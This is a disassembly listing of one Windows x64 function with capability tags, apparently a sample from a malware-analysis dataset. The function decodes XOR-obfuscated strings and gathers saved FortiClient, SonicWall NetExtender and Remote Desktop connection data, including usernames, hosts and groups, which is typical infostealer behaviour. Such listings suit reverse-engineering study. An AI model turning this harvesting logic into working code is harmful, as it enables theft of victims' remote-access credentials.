Function at 0x14000dc20
Capabilities:
Check if file exists
Encode data using xor
Get file size
Query environment variable
Read file on windows

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
lea rbp, [rsp - 0x640]
sub rsp, 0x740
mov rdi, rcx
mov dword [rsp + 0x40], 0x72a472f0
mov ecx, 0x10
mov dword [rsp + 0x44], 0x72bc72a2
mov dword [rsp + 0x48], 0x72e872f0
mov ebx, 0x72d2
mov dword [rsp + 0x4c], 0x72d272a9
mov dword [rsp + 0x50], 0x8fc172d2
call fcn.1400026b0
mov r13d, 8
lea r8, [rsp + 0x40]
mov rdx, rax
sub r8, rax
mov r9d, r13d
lea r12d, [r13 - 7]
mov ecx, ebx
xor cx, word [r8 + rdx]
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r9, r12
jne 0x14000dc8c
mov rdx, rax
mov rcx, rdi
call fcn.140001990
lea rcx, [rbp + 0x688]
call fcn.14000d98c
mov rdx, rax
mov rcx, rdi
call fcn.140001990
mov r14, 0xffffffff80000002
lea r8, [0x14000e3c0]
mov rcx, r14
lea rdx, str.SoftwareFortinetFortiClientSslvpnTunnels
mov r9, rdi
call fcn.14000cc08
mov edx, 0x2c
mov rcx, rdi
call fcn.140001abc
mov rcx, r13
mov dword [rsp + 0x40], 0x72a07280
mov dword [rsp + 0x44], 0x72dd72f1
mov ebx, 0x72dd
mov dword [rsp + 0x48], 0x8fc172dd
call fcn.1400026b0
lea r9, [rsp + 0x40]
mov esi, 4
sub r9, rax
mov rdx, rax
mov r8d, esi
mov ecx, ebx
xor cx, word [r9 + rdx]
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, r12
jne 0x14000dd26
mov rdx, rax
mov rcx, rdi
call fcn.140001990
lea rcx, [rbp + 0x688]
call fcn.14000d7c8
mov rdx, rax
mov rcx, rdi
call fcn.140001990
lea rcx, [rbp + 0x688]
call fcn.14000d6d0
mov r8, rax
lea r9, [rbp + 0x698]
lea rdx, str.SoftwareSonicWallSSL_VPN_NetExtenderStandalone
mov rcx, r14
call fcn.14000cd0c
test eax, eax
je 0x14000dec7
lea rcx, [rbp + 0x688]
call fcn.14000d884
mov rdx, qword [rbp + 0x698]
lea rcx, [rbp - 0x30]
mov r8, rax
call qword [sym.imp.SHLWAPI.dll_PathCombineW]
lea rcx, [rbp - 0x30]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x14000debb
lea rcx, [rbp - 0x30]
call qword [sym.imp.SHLWAPI.dll_PathQuoteSpacesW]
lea rcx, [rbp + 0x688]
call fcn.14000d004
mov rdx, rax
lea rcx, [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rbp + 0x690]
lea rcx, [rbp - 0x30]
call fcn.14000e8b8
lea rcx, [rsp + 0x60]
mov rbx, rax
call fcn.140009644
mov rcx, r13
mov dword [rsp + 0x40], 0x7281728f
mov dword [rsp + 0x44], 0x72ec7288
mov r14d, 0x72ec
mov dword [rsp + 0x48], 0x8fc172ec
call fcn.1400026b0
lea r8, [rsp + 0x40]
mov rdx, rax
sub r8, rax
mov ecx, r14d
xor cx, word [r8 + rdx]
mov word [rdx], cx
lea rdx, [rdx + 2]
sub rsi, r12
jne 0x14000de2b
mov r8, rax
lea rdx, [rsp + 0x60]
mov rcx, rdi
call fcn.14000900c
test eax, eax
je 0x14000de95
lea rcx, [rsp + 0x60]
mov dword [rbp - 0x3c], 0x7530
call fcn.1400095a0
test al, al
je 0x14000de8b
mov r8, rbx
lea rdx, [rsp + 0x60]
mov rcx, rdi
call fcn.1400097dc
test al, al
je 0x14000de8b
lea rdx, [0x140011400]
mov rcx, rdi
call fcn.140001990
lea rcx, [rsp + 0x60]
call fcn.140009478
lea rcx, [rsp + 0x60]
call fcn.140009624
mov edx, 0x2c
mov rcx, rdi
call fcn.140001abc
mov rcx, rbx
call fcn.1400025b4
mov r14, 0xffffffff80000002
mov rcx, qword [rbp + 0x698]
call fcn.1400025b4
lea rdx, [0x140011dc4]
mov rcx, rdi
call fcn.140001990
lea rcx, [rbp + 0x688]
call fcn.14000d630
mov rdx, rax
mov rcx, rdi
call fcn.140001990
mov r9, rdi
lea r8, [0x14000e618]
lea rdx, str.SoftwareSonicWALLSSL_VPN_NetExtenderStandaloneProfiles
mov rcx, r14
call fcn.14000cc08
mov edx, 0x2c
mov rcx, rdi
call fcn.140001abc
lea rdx, [0x14001151c]
mov rcx, rdi
call fcn.140001990
lea rdx, [0x140011fe0]
mov rcx, rdi
call fcn.140001990
lea rcx, [rbp + 0x688]
call fcn.14000d444
mov rdx, rax
mov rcx, rdi
call fcn.140001990
lea rcx, [rbp + 0x688]
call fcn.14000d090
mov rcx, rax
lea rdx, [rbp + 0x220]
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
dec eax
mov r13d, 3
cmp eax, 0x103
ja 0x14000e1fb
lea rcx, [rbp + 0x688]
call fcn.14000da34
mov rdx, rax
lea rcx, [rbp + 0x220]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
lea rcx, [rbp + 0x220]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x14000e1fb
and qword [rsp + 0x30], 0
lea rcx, [rbp + 0x220]
and dword [rsp + 0x28], 0
xor r9d, r9d
mov r8d, r13d
mov dword [rsp + 0x20], r13d
mov edx, 0x80000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x14000e1fb
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, eax
mov ebx, eax
call fcn.1400025dc
and qword [rsp + 0x20], 0
lea r9, [rbp + 0x688]
mov r8d, ebx
mov rdx, rax
mov rcx, rsi
mov r14, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14000e1f3
mov r8d, dword [rbp + 0x688]
lea rcx, [rsp + 0x40]
mov rdx, r14
call fcn.14000cdf8
lea rdx, str._user_:__
mov rcx, rdi
call fcn.140001990
lea rdx, str._DefaultUser_
lea rcx, [rsp + 0x40]
call fcn.14000cf34
mov esi, 0xfe
test rax, rax
jle 0x14000e0bc
lea rdx, [rax + 0xd]
mov r8d, r12d
lea rcx, [rsp + 0x40]
call fcn.14000cf68
lea rdx, str.__DefaultUser_
lea rcx, [rsp + 0x40]
call fcn.14000cf34
lea rcx, [rax - 1]
cmp rcx, rsi
ja 0x14000e0bc
mov r8, rax
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x40]
call fcn.14000ce48
lea rcx, [rbp - 0x30]
mov byte [rbp + rax - 0x30], 0
call fcn.1400079f0
mov rdx, rax
mov rcx, rdi
mov rbx, rax
call fcn.1400019e4
mov rcx, rbx
call fcn.1400025b4
lea rdx, str.____host_:__
mov rcx, rdi
call fcn.140001990
xor r8d, r8d
lea rcx, [rsp + 0x40]
xor edx, edx
call fcn.14000cf68
lea rdx, str._DefaultHostName_
lea rcx, [rsp + 0x40]
call fcn.14000cf34
test rax, rax
jle 0x14000e150
lea rdx, [rax + 0x11]
mov r8d, r12d
lea rcx, [rsp + 0x40]
call fcn.14000cf68
lea rdx, str.__DefaultHostName_
lea rcx, [rsp + 0x40]
call fcn.14000cf34
lea rcx, [rax - 1]
cmp rcx, rsi
ja 0x14000e150
mov r8, rax
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x40]
call fcn.14000ce48
lea rcx, [rbp - 0x30]
mov byte [rbp + rax - 0x30], 0
call fcn.1400079f0
mov rdx, rax
mov rcx, rdi
mov rbx, rax
call fcn.1400019e4
mov rcx, rbx
call fcn.1400025b4
lea rdx, str.____group_:__
mov rcx, rdi
call fcn.140001990
xor r8d, r8d
lea rcx, [rsp + 0x40]
xor edx, edx
call fcn.14000cf68
lea rdx, str._DefaultGroup_
lea rcx, [rsp + 0x40]
call fcn.14000cf34
test rax, rax
jle 0x14000e1e4
lea rdx, [rax + 0xe]
mov r8d, r12d
lea rcx, [rsp + 0x40]
call fcn.14000cf68
lea rdx, str.__DefaultGroup_
lea rcx, [rsp + 0x40]
call fcn.14000cf34
lea rcx, [rax - 1]
cmp rcx, rsi
ja 0x14000e1e4
mov r8, rax
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x40]
call fcn.14000ce48
lea rcx, [rbp - 0x30]
mov byte [rbp + rax - 0x30], 0
call fcn.1400079f0
mov rdx, rax
mov rcx, rdi
mov rbx, rax
call fcn.1400019e4
mov rcx, rbx
call fcn.1400025b4
lea rdx, [0x140011504]
mov rcx, rdi
call fcn.140001990
mov rcx, r14
call fcn.1400025b4
lea rdx, [0x1400120b0]
mov rcx, rdi
call fcn.140001990
lea rcx, [rbp + 0x688]
call fcn.14000d59c
mov rdx, rax
mov rcx, rdi
call fcn.140001990
mov r9, rdi
lea r8, [0x14000e4e8]
lea rdx, str.SoftwareMicrosoftTerminal_Server_ClientServers
mov rcx, 0xffffffff80000001
call fcn.14000cc08
mov edx, 0x2c
mov rcx, rdi
call fcn.140001abc
lea rdx, [0x1400120b8]
mov rcx, rdi
call fcn.140001990
lea rcx, [rbp + 0x688]
call fcn.14000d510
mov rdx, rax
mov rcx, rdi
call fcn.140001990
lea rcx, [rbp + 0x688]
call fcn.14000d2c4
mov rcx, rax
lea rdx, [rbp + 0x430]
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
dec eax
cmp eax, 0x103
ja 0x14000e390
lea rcx, [rbp + 0x688]
call fcn.14000d340
mov rdx, rax
lea rcx, [rbp + 0x430]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
lea rcx, [rbp + 0x430]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x14000e390
and qword [rsp + 0x30], 0
lea rcx, [rbp + 0x430]
and dword [rsp + 0x28], 0
xor r9d, r9d
mov r8d, r13d
mov dword [rsp + 0x20], r13d
mov edx, 0x80000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x14000e390
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov rdx, r12
mov ebx, eax
lea ecx, [rax + 1]
call fcn.140002588
and qword [rsp + 0x20], 0
lea r9, [rbp + 0x690]
mov r8d, ebx
mov rdx, rax
mov rcx, rsi
mov r14, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14000e390
mov ecx, dword [rbp + 0x690]
mov byte [rcx + r14], 0
lea rcx, [rbp + 0x688]
call fcn.14000db8c
mov rdx, rax
mov rcx, rdi
call fcn.140001990
mov rcx, r14
call fcn.1400079f0
mov rdx, rax
mov rcx, rdi
mov rbx, rax
call fcn.1400019e4
lea rdx, [0x140011504]
mov rcx, rdi
call fcn.140001990
mov rcx, rbx
call fcn.1400025b4
lea rdx, [0x140011404]
mov rcx, rdi
call fcn.140001990
lea rdx, [0x140011404]
mov rcx, rdi
call fcn.140001990
add rsp, 0x740
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret